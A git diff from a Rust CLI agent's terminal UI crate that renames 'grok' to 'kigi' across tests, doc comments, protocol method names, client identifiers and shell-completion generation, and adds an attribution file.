     fn cli_session_id_with_resume_requires_fork() {
-        let args = try_parse_pager(&["grok-pager", "-s", "a", "--resume", "b"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-s", "a", "--resume", "b"]).unwrap();
         assert!(args.session_startup_intent().is_err());
     }
     #[test]
     fn cli_session_id_with_continue_requires_fork() {
-        let args = try_parse_pager(&["grok-pager", "-s", "a", "--continue"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-s", "a", "--continue"]).unwrap();
         assert!(args.session_startup_intent().is_err());
     }
     #[test]
     fn cli_session_id_with_resume_and_fork_ok() {
         let args =
-            try_parse_pager(&["grok-pager", "-s", "a", "--resume", "b", "--fork-session"]).unwrap();
+            try_parse_pager(&["kigi-pager", "-s", "a", "--resume", "b", "--fork-session"]).unwrap();
         assert!(args.session_startup_intent().is_ok());
     }
     #[test]
     fn cli_session_id_default_none() {
-        let args = try_parse_pager(&["grok-pager"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager"]).unwrap();
         assert!(args.session_id.is_none());
     }
     #[test]
     fn cli_no_alt_screen_flag_parses() {
-        let args = try_parse_pager(&["grok-pager", "--no-alt-screen"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--no-alt-screen"]).unwrap();
         assert!(args.no_alt_screen);
     }
     #[test]
     fn cli_no_alt_screen_default_false() {
-        let args = try_parse_pager(&["grok-pager"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager"]).unwrap();
         assert!(!args.no_alt_screen);
     }
     #[test]
@@ -1580,12 +1580,12 @@ mod tests {
     #[test]
     fn cli_completions_parses() {
         use clap_complete::Shell;
-        let args = try_parse_pager(&["grok-pager", "completions", "zsh"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "completions", "zsh"]).unwrap();
         assert!(matches!(
             args.command,
             Some(Command::Completions { shell: Shell::Zsh })
         ));
-        let args = try_parse_pager(&["grok-pager", "completions", "bash"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "completions", "bash"]).unwrap();
         assert!(matches!(
             args.command,
             Some(Command::Completions { shell: Shell::Bash })
@@ -1607,7 +1607,7 @@ mod tests {
         print_exit_resume_hint("sess-abc", false, &mut buf);
         assert_eq!(
             String::from_utf8(buf).unwrap(),
-            "\nResume this session with:\n  grok --resume sess-abc\n"
+            "\nResume this session with:\n  kigi --resume sess-abc\n"
         );
     }
     #[test]
@@ -1616,7 +1616,7 @@ mod tests {
         print_exit_resume_hint("sess-abc", true, &mut buf);
         assert_eq!(
             String::from_utf8(buf).unwrap(),
-            "\nResume this session with:\n  grok --minimal --resume sess-abc\n"
+            "\nResume this session with:\n  kigi --minimal --resume sess-abc\n"
         );
     }
     #[test]
diff --git a/crates/codegen/kigi-tui/src/app/queue_edit.rs b/crates/codegen/kigi-tui/src/app/queue_edit.rs
index 674f8f6..620236f 100644
--- a/crates/codegen/kigi-tui/src/app/queue_edit.rs
+++ b/crates/codegen/kigi-tui/src/app/queue_edit.rs
@@ -40,7 +40,7 @@ pub enum PromptMode {
         /// When `Some`, this is a server-authoritative shared-queue row and
         /// `server_id` is the agent's stable `prompt_id`. On save we route
         /// the change through `Action::QueueEditShared` (and rely on the
-        /// `x.ai/queue/changed` rebroadcast for the visual result) instead
+        /// `kigi/queue/changed` rebroadcast for the visual result) instead
         /// of mutating the local `pending_prompts` mirror. `None` is the
         /// pre-existing local-origin path.
         server_id: Option<String>,
@@ -412,7 +412,7 @@ impl AgentView {
         }
         match server_id {
             Some(server_id) => {
-                // Server rows: the queue wire (`x.ai/queue/interject` newText)
+                // Server rows: the queue wire (`kigi/queue/interject` newText)
                 // is text-only, so composer images can't ride along — known
                 // limitation, dropped with an accurate toast.
                 if !self.prompt.images.is_empty() {
diff --git a/crates/codegen/kigi-tui/src/app/roster.rs b/crates/codegen/kigi-tui/src/app/roster.rs
index 590e5dd..80b18ac 100644
--- a/crates/codegen/kigi-tui/src/app/roster.rs
+++ b/crates/codegen/kigi-tui/src/app/roster.rs
@@ -3,8 +3,8 @@
 //! The leader process hosts session actors and exposes a roster API the
 //! pager consumes in leader mode (FleetView dashboard):
 //!
-//! - Request/response `x.ai/sessions/list` → [`RosterListResponse`].
-//! - Broadcast notification `x.ai/sessions/changed` → [`RosterChanged`].
+//! - Request/response `kigi/sessions/list` → [`RosterListResponse`].
+//! - Broadcast notification `kigi/sessions/changed` → [`RosterChanged`].
 //!
 //! These structs mirror the producer-side wire format (camelCase JSON,
 //! snake_case activity enum). They are deserialize-only — the pager never
@@ -57,14 +57,14 @@ pub struct RosterEntry {
     pub origin: RosterOrigin,
 }
 
-/// Response to `x.ai/sessions/list`.
+/// Response to `kigi/sessions/list`.
 #[derive(Debug, Clone, Default, Deserialize)]
 pub struct RosterListResponse {
     #[serde(default)]
     pub sessions: Vec<RosterEntry>,
 }
 
-/// Broadcast payload for `x.ai/sessions/changed`.
+/// Broadcast payload for `kigi/sessions/changed`.
 #[derive(Debug, Clone, Default, Deserialize)]
 pub struct RosterChanged {
     #[serde(default)]
@@ -73,7 +73,7 @@ pub struct RosterChanged {
     pub removed: Vec<String>,
 }
 
-/// Parse an `x.ai/sessions/list` ext-response body into a [`RosterListResponse`].
+/// Parse an `kigi/sessions/list` ext-response body into a [`RosterListResponse`].
 ///
 /// The agent serializes the response through
 /// `ExtMethodResult::success(..).to_ext_response()` (see
@@ -89,8 +89,8 @@ pub struct RosterChanged {
 /// key). That was the original bug: the poll returned an empty roster on every
 /// tick and — because [`crate::app::actions::TaskResult::RosterLoaded`] replaces
 /// `leader_roster` wholesale — also clobbered any entry delivered by the
-/// `x.ai/sessions/changed` broadcast. Mirrors how `Effect::FetchSessionList`
-/// unwraps `result` for `x.ai/session/list`.
+/// `kigi/sessions/changed` broadcast. Mirrors how `Effect::FetchSessionList`
+/// unwraps `result` for `kigi/session/list`.
 pub fn parse_roster_list_response(body: &str) -> Option<RosterListResponse> {
     let value: serde_json::Value = serde_json::from_str(body).ok()?;
     let payload = value.get("result").unwrap_or(&value);
@@ -110,7 +110,7 @@ mod tests {
             title: Some("Fix the roster".to_string()),
             cwd: "/repo/worktree".to_string(),
             is_worktree: true,
-            model_id: Some("grok-4".to_string()),
+            model_id: Some("kigi-4".to_string()),
             reasoning_effort: None,
             yolo: true,
             activity: agent::RosterActivity::Working,
@@ -141,7 +141,7 @@ mod tests {
             sessions: vec![agent_entry()],
         };
 
-        // Exact wire bytes the agent emits for `x.ai/sessions/list`.
+        // Exact wire bytes the agent emits for `kigi/sessions/list`.
         let ext_response = ExtMethodResult::success(agent_resp)
             .to_ext_response()
             .expect("agent serializes the roster response");
@@ -172,7 +172,7 @@ mod tests {
         assert_eq!(e.title.as_deref(), Some("Fix the roster"));
         assert_eq!(e.cwd, "/repo/worktree");
         assert!(e.is_worktree);
-        assert_eq!(e.model_id.as_deref(), Some("grok-4"));
+        assert_eq!(e.model_id.as_deref(), Some("kigi-4"));
         assert!(e.yolo);
         assert_eq!(e.activity, RosterActivity::Working);
         assert!(e.resident);
@@ -190,7 +190,7 @@ mod tests {
         assert_eq!(parsed.sessions[0].session_id, "s1");
     }
 
-    /// `x.ai/sessions/changed` round-trip: serialize the agent's `RosterChanged`
+    /// `kigi/sessions/changed` round-trip: serialize the agent's `RosterChanged`
     /// exactly as `emit_roster_changed` does (bare params, no `result`
     /// envelope) and confirm the pager's `RosterChanged` recovers `upserted` /
     /// `removed` and the nested entry fields (camelCase). Regression guard for
diff --git a/crates/codegen/kigi-tui/src/app/screen_mode_relaunch.rs b/crates/codegen/kigi-tui/src/app/screen_mode_relaunch.rs
index 82fe90f..b98ce67 100644
--- a/crates/codegen/kigi-tui/src/app/screen_mode_relaunch.rs
+++ b/crates/codegen/kigi-tui/src/app/screen_mode_relaunch.rs
@@ -71,7 +71,7 @@ fn flag_takes_value(flag: &str) -> bool {
 ///
 /// Strips prior session-selection / mode flags, one-shot session-creation
 /// directives, and any bare positional prompt so a cold-start
-/// `grok "do the thing"` does not re-submit on resume. Keeps everything else
+/// `kigi "do the thing"` does not re-submit on resume. Keeps everything else
 /// (e.g. `--no-leader`, `--model`, endpoint overrides) intact, including the
 /// value token that follows value-taking flags.
 ///
@@ -175,7 +175,7 @@ pub(crate) fn build_screen_mode_relaunch_args(
             continue;
         }
 
-        // Bare positional prompt (e.g. `grok "fix the bug"`). Must not re-fire
+        // Bare positional prompt (e.g. `kigi "fix the bug"`). Must not re-fire
         // on resume. Clap positionals never start with `-`. Values for earlier
         // flags were already consumed above, so any remaining bare word here is
         // the prompt.
@@ -210,7 +210,7 @@ pub(crate) fn screen_mode_relaunch_resume_hint(session_id: &str, want_minimal: b
     } else {
         "--fullscreen"
     };
-    format!("{KIGI_SCREEN_MODE_ENV}={mode} grok {flag} --resume {session_id}")
+    format!("{KIGI_SCREEN_MODE_ENV}={mode} kigi {flag} --resume {session_id}")
 }
 
 /// Replace the current process with a relaunch into the requested screen mode.
@@ -331,7 +331,7 @@ pub(crate) fn parse_screen_mode(value: Option<&str>) -> Option<super::ScreenMode
 ///
 /// Reads **and removes** the variable so the override is truly one-shot: it
 /// must not linger in this process's environment where every spawned child
-/// (tool shells, workers, nested `grok` invocations) would inherit a forced
+/// (tool shells, workers, nested `kigi` invocations) would inherit a forced
 /// screen mode the user never asked for.
 ///
 /// When set, the returned mode **wins** over CLI flags (`--minimal`,
@@ -440,7 +440,7 @@ mod tests {
 
     #[test]
     fn adds_minimal_and_resume() {
-        let out = build_screen_mode_relaunch_args(args(&["grok", "--no-leader"]), "abc", true);
+        let out = build_screen_mode_relaunch_args(args(&["kigi", "--no-leader"]), "abc", true);
         assert_eq!(
             as_strs(&out),
             vec!["--no-leader", "--resume", "abc", "--minimal"]
@@ -451,7 +451,7 @@ mod tests {
     /// resolution still works without the env override.
     #[test]
     fn adds_fullscreen_and_resume() {
-        let out = build_screen_mode_relaunch_args(args(&["grok", "--no-leader"]), "abc", false);
+        let out = build_screen_mode_relaunch_args(args(&["kigi", "--no-leader"]), "abc", false);
         assert_eq!(
             as_strs(&out),
             vec!["--no-leader", "--resume", "abc", "--fullscreen"]
@@ -466,7 +466,7 @@ mod tests {
     fn strips_session_id_flag() {
         let out = build_screen_mode_relaunch_args(
             args(&[
-                "grok",
+                "kigi",
                 "--session-id",
                 "11111111-1111-1111-1111-111111111111",
                 "--no-leader",
@@ -480,7 +480,7 @@ mod tests {
         );
 
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "-s", "11111111-1111-1111-1111-111111111111"]),
+            args(&["kigi", "-s", "11111111-1111-1111-1111-111111111111"]),
             "new",
             false,
         );
@@ -494,7 +494,7 @@ mod tests {
     fn strips_worktree_and_restore_code() {
         let out = build_screen_mode_relaunch_args(
             args(&[
-                "grok",
+                "kigi",
                 "-w",
                 "feature-x",
                 "--worktree-ref",
@@ -518,7 +518,7 @@ mod tests {
     fn strips_eq_forms_of_one_shot_flags() {
         let out = build_screen_mode_relaunch_args(
             args(&[
-                "grok",
+                "kigi",
                 "--session-id=u1",
                 "--worktree=wt",
                 "--worktree-ref=main",
@@ -539,7 +539,7 @@ mod tests {
     #[test]
     fn strips_bare_worktree_without_eating_next_flag() {
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "--worktree", "--no-leader"]),
+            args(&["kigi", "--worktree", "--no-leader"]),
             "new",
             false,
         );
@@ -552,7 +552,7 @@ mod tests {
     #[test]
     fn strips_prior_minimal_and_resume() {
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "--minimal", "--resume", "old", "--no-leader"]),
+            args(&["kigi", "--minimal", "--resume", "old", "--no-leader"]),
             "new",
             false,
         );
@@ -570,7 +570,7 @@ mod tests {
     #[test]
     fn strips_prior_fullscreen_flag() {
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "--fullscreen", "--resume", "old", "--no-leader"]),
+            args(&["kigi", "--fullscreen", "--resume", "old", "--no-leader"]),
             "new",
             true,
         );
@@ -584,7 +584,7 @@ mod tests {
     #[test]
     fn strips_short_resume_and_continue() {
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "-r", "old", "-c", "--no-leader"]),
+            args(&["kigi", "-r", "old", "-c", "--no-leader"]),
             "sid",
             true,
         );
@@ -598,7 +598,7 @@ mod tests {
     #[test]
     fn strips_resume_equals_form() {
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "--resume=old-id", "--no-leader"]),
+            args(&["kigi", "--resume=old-id", "--no-leader"]),
             "sid",
             false,
         );
@@ -611,7 +611,7 @@ mod tests {
     #[test]
     fn strips_positional_prompt() {
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "--no-leader", "fix the bug"]),
+            args(&["kigi", "--no-leader", "fix the bug"]),
             "sid",
             true,
         );
@@ -624,11 +624,11 @@ mod tests {
 
     #[test]
     fn double_dash_and_following_positionals_dropped() {
-        // `grok --no-leader -- "fix the bug"`: everything after `--` is the
+        // `kigi --no-leader -- "fix the bug"`: everything after `--` is the
         // prompt. The separator itself must go too, or the appended
         // `--resume <id>` would be parsed as positional prompt words.
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "--no-leader", "--", "fix the bug"]),
+            args(&["kigi", "--no-leader", "--", "fix the bug"]),
             "sid",
             false,
         );
@@ -644,9 +644,9 @@ mod tests {
         // as the bare positional prompt (regression: relaunch argv drops flag values).
         let out = build_screen_mode_relaunch_args(
             args(&[
-                "grok",
+                "kigi",
                 "--model",
-                "grok-4",
+                "kigi-4",
                 "--cwd",
                 "/tmp/proj",
                 "--leader-socket",
@@ -663,7 +663,7 @@ mod tests {
             as_strs(&out),
             vec![
                 "--model",
-                "grok-4",
+                "kigi-4",
                 "--cwd",
                 "/tmp/proj",
                 "--leader-socket",
@@ -682,7 +682,7 @@ mod tests {
     #[test]
     fn keeps_equals_form_and_short_model_flag() {
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "-m", "grok-4", "--cwd=/tmp/proj", "--no-leader"]),
+            args(&["kigi", "-m", "kigi-4", "--cwd=/tmp/proj", "--no-leader"]),
             "sid",
             false,
         );
@@ -690,7 +690,7 @@ mod tests {
             as_strs(&out),
             vec![
                 "-m",
-                "grok-4",
+                "kigi-4",
                 "--cwd=/tmp/proj",
                 "--no-leader",
                 "--resume",
@@ -705,7 +705,7 @@ mod tests {
         // `--no-leader` is boolean; the bare word after it is the prompt and
         // must be dropped, not attached as a spurious value.
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "--no-leader", "fix the bug"]),
+            args(&["kigi", "--no-leader", "fix the bug"]),
             "sid",
             false,
         );
@@ -717,9 +717,9 @@ mod tests {
 
     #[test]
     fn resume_without_value_then_flag_is_not_eaten() {
-        // `grok --resume --no-leader` (resume most-recent; next token is a flag).
+        // `kigi --resume --no-leader` (resume most-recent; next token is a flag).
         let out = build_screen_mode_relaunch_args(
-            args(&["grok", "--resume", "--no-leader"]),
+            args(&["kigi", "--resume", "--no-leader"]),
             "sid",
             false,
         );
@@ -833,11 +833,11 @@ mod tests {
         // explicit flag keeps the resume in the right mode if the env is dropped.
         assert_eq!(
             screen_mode_relaunch_resume_hint("abc-sid", false),
-            "KIGI_SCREEN_MODE=fullscreen grok --fullscreen --resume abc-sid"
+            "KIGI_SCREEN_MODE=fullscreen kigi --fullscreen --resume abc-sid"
         );
         assert_eq!(
             screen_mode_relaunch_resume_hint("abc-sid", true),
-            "KIGI_SCREEN_MODE=minimal grok --minimal --resume abc-sid"
+            "KIGI_SCREEN_MODE=minimal kigi --minimal --resume abc-sid"
         );
     }
 
diff --git a/crates/codegen/kigi-tui/src/app/session_startup.rs b/crates/codegen/kigi-tui/src/app/session_startup.rs
index 5f85e55..fc5e2ca 100644
--- a/crates/codegen/kigi-tui/src/app/session_startup.rs
+++ b/crates/codegen/kigi-tui/src/app/session_startup.rs
@@ -26,7 +26,7 @@ pub enum DeferredSessionStartup {
         parent_cwd: Option<PathBuf>,
         new_session_id: Option<String>,
     },
-    /// Fresh plain Grok session whose first prompt resumes a foreign tool session.
+    /// Fresh plain Kigi session whose first prompt resumes a foreign tool session.
     ForeignResume {
         tool: kigi_workspace::foreign_sessions::ForeignSessionTool,
         native_id: String,
@@ -53,7 +53,7 @@ impl DeferredStartupActions {
         std::mem::take(self)
     }
 }
-/// Build `x.ai/session/fork` params shared by TUI effects and headless.
+/// Build `kigi/session/fork` params shared by TUI effects and headless.
 ///
 /// `new_cwd` is the write namespace for the child (parent session cwd when
 /// cross-cwd); preflight must use the same path via [`effective_fork_new_cwd`].
@@ -114,7 +114,7 @@ pub fn parent_session_is_worktree(session_id: &str, cwd: &Path) -> bool {
     }
     false
 }
-/// Parse `newSessionId` from an `x.ai/session/fork` ACP response body.
+/// Parse `newSessionId` from an `kigi/session/fork` ACP response body.
 pub fn fork_response_new_session_id(resp_json: &str) -> Option<String> {
     let v: serde_json::Value = serde_json::from_str(resp_json).unwrap_or_default();
     if v.get("error").is_some_and(|e| !e.is_null()) {
@@ -375,7 +375,7 @@ pub struct MaterializeCtx {
     pub has_worktree: bool,
     /// When true, attempt remote restore if the session is not on disk.
     pub allow_remote_restore: bool,
-    /// Process-wide flag: resume targets are grok.com conversations, not
+    /// Process-wide flag: resume targets are kimi.com conversations, not
     /// the local disk store. Always `false` without the optional feature;
     /// setting it anyway errors rather than silently falling back to disk.
     pub chat_mode: bool,
@@ -404,12 +404,12 @@ async fn most_recent_session_id(cwd: &str) -> anyhow::Result<(String, Option<Str
     let first = summaries.first().ok_or_else(|| {
         anyhow::anyhow!(
             "No session found for current directory. \
-             Use 'grok' to start a new session."
+             Use 'kigi' to start a new session."
         )
     })?;
     Ok((first.info.id.to_string(), first.display_title_opt()))
 }
-/// `AuthManager` for direct grok.com calls made outside the agent (pre-ACP
+/// `AuthManager` for direct kimi.com calls made outside the agent (pre-ACP
 /// `--continue` conversation listing, the GCS restore effect). Wires the
 /// auth-provider refresher before the first `auth()`: without it, environments
 /// that mint credentials via `auth_provider_command` report `NoOauth`.
@@ -689,14 +689,14 @@ mod tests {
     #[test]
     fn intent_default_is_new_auto() {
         assert_eq!(
-            parse(&["grok"]).session_startup_intent().unwrap(),
+            parse(&["kigi"]).session_startup_intent().unwrap(),
             SessionStartupIntent::NewAuto
         );
     }
     #[test]
     fn intent_resume_id() {
         assert_eq!(
-            parse(&["grok", "--resume", "abc"])
+            parse(&["kigi", "--resume", "abc"])
                 .session_startup_intent()
                 .unwrap(),
             SessionStartupIntent::Resume {
@@ -708,7 +708,7 @@ mod tests {
     #[test]
     fn intent_resume_empty_is_most_recent() {
         assert_eq!(
-            parse(&["grok", "--resume"])
+            parse(&["kigi", "--resume"])
                 .session_startup_intent()
                 .unwrap(),
             SessionStartupIntent::Resume {
@@ -720,7 +720,7 @@ mod tests {
     #[test]
     fn intent_continue() {
         assert_eq!(
-            parse(&["grok", "-c"]).session_startup_intent().unwrap(),
+            parse(&["kigi", "-c"]).session_startup_intent().unwrap(),
             SessionStartupIntent::Resume {
                 session_id: None,
                 most_recent_for_cwd: true,
@@ -730,7 +730,7 @@ mod tests {
     #[test]
     fn intent_session_id_alone_is_new_with_id() {
         assert_eq!(
-            parse(&["grok", "--session-id", "my-id"])
+            parse(&["kigi", "--session-id", "my-id"])
                 .session_startup_intent()
                 .unwrap(),
             SessionStartupIntent::NewWithId {
@@ -740,7 +740,7 @@ mod tests {
     }
     #[test]
     fn intent_session_id_with_resume_without_fork_errors() {
-        let err = parse(&["grok", "-r", "a", "-s", "b"])
+        let err = parse(&["kigi", "-r", "a", "-s", "b"])
             .session_startup_intent()
             .unwrap_err();
         assert_eq!(err, StartupFlagError::SessionIdRequiresFork);
@@ -748,7 +748,7 @@ mod tests {
     #[test]
     fn intent_fork_with_resume() {
         assert_eq!(
-            parse(&["grok", "-r", "old", "--fork-session"])
+            parse(&["kigi", "-r", "old", "--fork-session"])
                 .session_startup_intent()
                 .unwrap(),
             SessionStartupIntent::ForkFrom {
@@ -761,7 +761,7 @@ mod tests {
     #[test]
     fn intent_fork_with_resume_and_new_id() {
         assert_eq!(
-            parse(&["grok", "-r", "old", "--fork-session", "-s", "new"])
+            parse(&["kigi", "-r", "old", "--fork-session", "-s", "new"])
                 .session_startup_intent()
                 .unwrap(),
             SessionStartupIntent::ForkFrom {
@@ -773,21 +773,21 @@ mod tests {
     }
     #[test]
     fn intent_fork_alone_errors() {
-        let err = parse(&["grok", "--fork-session"])
+        let err = parse(&["kigi", "--fork-session"])
             .session_startup_intent()
             .unwrap_err();
         assert_eq!(err, StartupFlagError::ForkRequiresResumeOrContinue);
     }
     #[test]
     fn intent_fork_with_worktree_errors() {
-        let err = parse(&["grok", "-r", "a", "--fork-session", "-w"])
+        let err = parse(&["kigi", "-r", "a", "--fork-session", "-w"])
             .session_startup_intent()
             .unwrap_err();
         assert_eq!(err, StartupFlagError::ForkWithWorktree);
     }
     #[test]
     fn intent_from_flags_matches_pager_args() {
-        let args = parse(&["grok", "-r", "old", "--fork-session", "-s", "new"]);
+        let args = parse(&["kigi", "-r", "old", "--fork-session", "-s", "new"]);
         let from_flags = session_startup_intent_from_flags(SessionStartupFlags {
             session_id: Some("new"),
             resume_session_id: Some("old"),
@@ -888,7 +888,7 @@ mod tests {
     }
     #[test]
     fn materialize_ctx_chat_mode_from_args() {
-        assert!(!MaterializeCtx::from_pager_args(&parse(&["grok"])).chat_mode);
+        assert!(!MaterializeCtx::from_pager_args(&parse(&["kigi"])).chat_mode);
     }
     /// Explicit-id resume under `--chat` passes the id through untouched:
     /// no disk resolution, no GCS restore (the cwd does not even exist).
diff --git a/crates/codegen/kigi-tui/src/app/subagent.rs b/crates/codegen/kigi-tui/src/app/subagent.rs
index dd8f604..2663be5 100644
--- a/crates/codegen/kigi-tui/src/app/subagent.rs
+++ b/crates/codegen/kigi-tui/src/app/subagent.rs
@@ -110,7 +110,7 @@ thread_local! {
     static REPLAY_KIGI_SHARE_DIR : std::cell::RefCell < Option < std::path::PathBuf >> = const
     { std::cell::RefCell::new(None) };
 }
-/// Override grok home for disk-replay unit tests (thread-local; production never sets this).
+/// Override kigi home for disk-replay unit tests (thread-local; production never sets this).
 #[cfg(test)]
 pub(crate) fn set_replay_kigi_home_for_tests(home: Option<std::path::PathBuf>) {
     REPLAY_KIGI_SHARE_DIR.with(|h| *h.borrow_mut() = home);
@@ -764,15 +764,15 @@ mod tests {
     #[test]
     fn subagent_meta_all_fields() {
         assert_eq!(
-            format_subagent_meta(Some("researcher"), Some("analyst"), Some("grok-3")),
-            " (researcher \u{00b7} analyst \u{00b7} grok-3)"
+            format_subagent_meta(Some("researcher"), Some("analyst"), Some("kigi-3")),
+            " (researcher \u{00b7} analyst \u{00b7} kigi-3)"
         );
     }
     #[test]
     fn subagent_meta_partial_skips_nones() {
         assert_eq!(
-            format_subagent_meta(Some("researcher"), None, Some("grok-3")),
-            " (researcher \u{00b7} grok-3)"
+            format_subagent_meta(Some("researcher"), None, Some("kigi-3")),
+            " (researcher \u{00b7} kigi-3)"
         );
     }
     #[test]
@@ -813,8 +813,8 @@ mod tests {
     #[test]
     fn subagent_meta_collapses_duplicate_persona_role() {
         assert_eq!(
-            format_subagent_meta(Some("reviewer"), Some("reviewer"), Some("grok-3")),
-            " (reviewer \u{00b7} grok-3)"
+            format_subagent_meta(Some("reviewer"), Some("reviewer"), Some("kigi-3")),
+            " (reviewer \u{00b7} kigi-3)"
         );
     }
     #[test]
@@ -841,8 +841,8 @@ mod tests {
     #[test]
     fn subagent_meta_drops_both_empty_persona_role() {
         assert_eq!(
-            format_subagent_meta(Some(""), Some(" "), Some("grok-3")),
-            " (grok-3)"
+            format_subagent_meta(Some(""), Some(" "), Some("kigi-3")),
+            " (kigi-3)"
         );
     }
     #[test]
diff --git a/crates/codegen/kigi-tui/src/app/turn_completion.rs b/crates/codegen/kigi-tui/src/app/turn_completion.rs
index e85c97a..d08e960 100644
--- a/crates/codegen/kigi-tui/src/app/turn_completion.rs
+++ b/crates/codegen/kigi-tui/src/app/turn_completion.rs
@@ -1,7 +1,7 @@
 //! Finalizing a turn from a terminal turn signal.
 //!
 //! The pager learns a turn reached its terminal outcome from two rails: the
-//! fire-and-forget `x.ai/session/prompt_complete` broadcast (the one-release
+//! fire-and-forget `kigi/session/prompt_complete` broadcast (the one-release
 //! compat path for not-yet-upgraded leaders) and the durable, persisted+replayed
 //! `XaiSessionUpdate::TurnCompleted`. Both converge on
 //! [`finalize_turn_from_terminal`] so the turn-finalize behavior lives in one
diff --git a/crates/codegen/kigi-tui/src/app/version_attribution.txt b/crates/codegen/kigi-tui/src/app/version_attribution.txt
new file mode 100644
index 0000000..2f9676e
--- /dev/null
+++ b/crates/codegen/kigi-tui/src/app/version_attribution.txt
@@ -0,0 +1 @@
+Based on Grok Build Open Source
\ No newline at end of file
diff --git a/crates/codegen/kigi-tui/src/bin/mouse_events_playground.rs b/crates/codegen/kigi-tui/src/bin/mouse_events_playground.rs
index 3bf5303..170298b 100644
--- a/crates/codegen/kigi-tui/src/bin/mouse_events_playground.rs
+++ b/crates/codegen/kigi-tui/src/bin/mouse_events_playground.rs
@@ -152,7 +152,7 @@ fn draw(f: &mut ratatui::Frame, app: &App) {
         )),
         Line::from(""),
         Line::from(
-            "I'm Grok Build, an interactive CLI agent built to help with software engineering tasks.",
+            "I'm Kigi, an interactive CLI agent built to help with software engineering tasks.",
         ),
         Line::from(
             "This sample is here so you can drag over real text while watching raw mouse events.",
diff --git a/crates/codegen/kigi-tui/src/bin/question_view_playground.rs b/crates/codegen/kigi-tui/src/bin/question_view_playground.rs
index c516f64..fafaf66 100644
--- a/crates/codegen/kigi-tui/src/bin/question_view_playground.rs
+++ b/crates/codegen/kigi-tui/src/bin/question_view_playground.rs
@@ -4,7 +4,7 @@ use std::time::Duration;
 use crossterm::ExecutableCommand;
 use crossterm::event::{self, Event, KeyCode, KeyEvent, KeyModifiers};
 use crossterm::terminal::{self, EnterAlternateScreen, LeaveAlternateScreen};
-use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
 use kigi_tui::theme::Theme;
 use kigi_tui::views::prompt_widget::StashedPrompt;
 use kigi_tui::views::question_view::{
diff --git a/crates/codegen/kigi-tui/src/bin/scrollback_selection_playground.rs b/crates/codegen/kigi-tui/src/bin/scrollback_selection_playground.rs
index 9ff0e00..43b467d 100644
--- a/crates/codegen/kigi-tui/src/bin/scrollback_selection_playground.rs
+++ b/crates/codegen/kigi-tui/src/bin/scrollback_selection_playground.rs
@@ -84,7 +84,7 @@ impl App {
             "I am thinking through how to answer your question before responding.",
         ));
         scrollback.push_block(RenderBlock::agent_message(
-            "I'm Grok Build, an interactive CLI agent built to help with software engineering tasks like coding, debugging, refactoring, and exploring codebases.",
+            "I'm Kigi, an interactive CLI agent built to help with software engineering tasks like coding, debugging, refactoring, and exploring codebases.",
         ));
         scrollback.push_block(RenderBlock::agent_message(
             "Try drag-selecting text. Double-click toggles fold by default; set Text selection → Word select for double-click word / triple-click line.",
diff --git a/crates/codegen/kigi-tui/src/client_identity.rs b/crates/codegen/kigi-tui/src/client_identity.rs
index d12a845..030d9a4 100644
--- a/crates/codegen/kigi-tui/src/client_identity.rs
+++ b/crates/codegen/kigi-tui/src/client_identity.rs
@@ -1,4 +1,4 @@
-pub const PAGER_CLIENT_TYPE: &str = "grok-pager";
+pub const PAGER_CLIENT_TYPE: &str = "kigi-pager";
 pub const HEADLESS_CLIENT_TYPE: &str = "kigi";
 
 pub const PAGER_CLIENT_VERSION: &str = kigi_version::VERSION;
diff --git a/crates/codegen/kigi-tui/src/completions_cmd.rs b/crates/codegen/kigi-tui/src/completions_cmd.rs
index 176f49d..621de09 100644
--- a/crates/codegen/kigi-tui/src/completions_cmd.rs
+++ b/crates/codegen/kigi-tui/src/completions_cmd.rs
@@ -1,4 +1,4 @@
-//! `grok completions <shell>` — generate shell completion scripts.
+//! `kigi completions <shell>` — generate shell completion scripts.
 //!
 //! Used by the installers and npm postinstall; must stay side-effect free
 //! (no network, auth, tracing, or tokio).
@@ -10,16 +10,16 @@ use crate::app::PagerArgs;
 
 /// Generate and print the completion script for the given shell.
 pub fn run(shell: Shell) {
-    // Ensure the script always uses the public "grok" name (matches historical
+    // Ensure the script always uses the public "kigi" name (matches historical
     // behavior and what the installers + docs expect).
-    let mut cmd = PagerArgs::command().name("grok");
+    let mut cmd = PagerArgs::command().name("kigi");
     if shell != Shell::Zsh {
-        generate(shell, &mut cmd, "grok", &mut std::io::stdout());
+        generate(shell, &mut cmd, "kigi", &mut std::io::stdout());
         return;
     }
     // zsh needs post-processing (see fix_zsh_root_prompt_positional).
     let mut buf = Vec::new();
-    generate(shell, &mut cmd, "grok", &mut buf);
+    generate(shell, &mut cmd, "kigi", &mut buf);
     match String::from_utf8(buf) {
         Ok(script) => print!("{}", fix_zsh_root_prompt_positional(&script)),
         // clap_complete output is generated from Rust strings, so this arm is
@@ -39,7 +39,7 @@ pub fn run(shell: Shell) {
 /// The generated root `_arguments` spec emits a `'::prompt …'` slot before
 /// the subcommand slot but dispatches subcommands with `case $line[2]`. zsh
 /// assigns the typed subcommand to the *prompt* slot (`$line[1]`), leaves
-/// `$line[2]` empty, and the dispatch falls through — so `grok worktree <TAB>`
+/// `$line[2]` empty, and the dispatch falls through — so `kigi worktree <TAB>`
 /// re-offers every top-level command. (`hide = true` on the positional does
 /// not change the generated script.)
 ///
@@ -64,8 +64,8 @@ fn fix_zsh_root_prompt_positional(script: &str) -> String {
             r#"words=($line[1] "${words[@]}")"#,
         ),
         (
-            r#"curcontext="${curcontext%:*:*}:grok-command-$line[2]:""#,
-            r#"curcontext="${curcontext%:*:*}:grok-command-$line[1]:""#,
